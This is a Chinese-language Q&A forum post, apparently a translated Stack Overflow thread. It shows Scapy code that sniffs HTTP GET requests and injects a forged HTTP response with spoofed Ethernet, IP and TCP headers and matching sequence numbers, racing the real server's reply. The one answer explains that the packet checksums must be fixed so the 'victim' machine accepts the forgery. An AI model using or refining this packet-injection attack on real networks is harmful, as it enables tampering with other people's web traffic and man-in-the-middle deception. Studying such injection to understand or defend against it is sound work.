我正在尝试使用python中的scapy发送虚假网页作为响应。我有这个非常简单的代码,只要它看到来自本地机器的GET请求,就会发送一个简短的html页面。但不知怎的,它不起作用,实际的页面总是出现在浏览器中。
from scapy.all import *
def callback(packt):
## packt.show()
if Raw in packt[TCP]:
if packt[TCP][Raw].load.startswith('GET'):
resp='HTTP/1.1 200 OK\r\nServer: Apache HACKER\r\nContent-Type: text/html\r\n\r\n<html><head><title> an example </title> </head><body> Hello World, </body></html>'
spoof_packt=Ether(dst=packt[Ether].src,src=packt[Ether].dst)/IP(src=packt[IP].dst,dst=packt[IP].src,ttl=44)/TCP(sport=80,dport=packt[TCP].sport,seq=packt[TCP].ack,ack=packt[TCP].seq+len(packt[TCP][Raw]),flags='PA')/resp
sendp(spoof_packt)
interface="eth0"
sniff(iface=interface,filter="tcp port 80", prn=callback)
我使用WireShark来捕获数据包跟踪,我看到我的数据包在来自Web服务器的实际响应之前到达。以下是WireShark GUI的数据包跟踪镜头。
以橙色突出显示的数据包是由我的程序发送的欺骗数据包,该数据包在同一台计算机上本地运行。 First Black突出显示的数据包是来自webserver的实际响应。我验证了,两个数据包中的SEQ和ACK数字相同。
如果需要更多信息,请告诉我,我会更新问题。
答案 0 :(得分:0)
您必须将数据包标题中的校验和更新为新页面。受害计算机在发现它不匹配后尝试验证校验和,它以某种方式要求服务器重新发送数据包。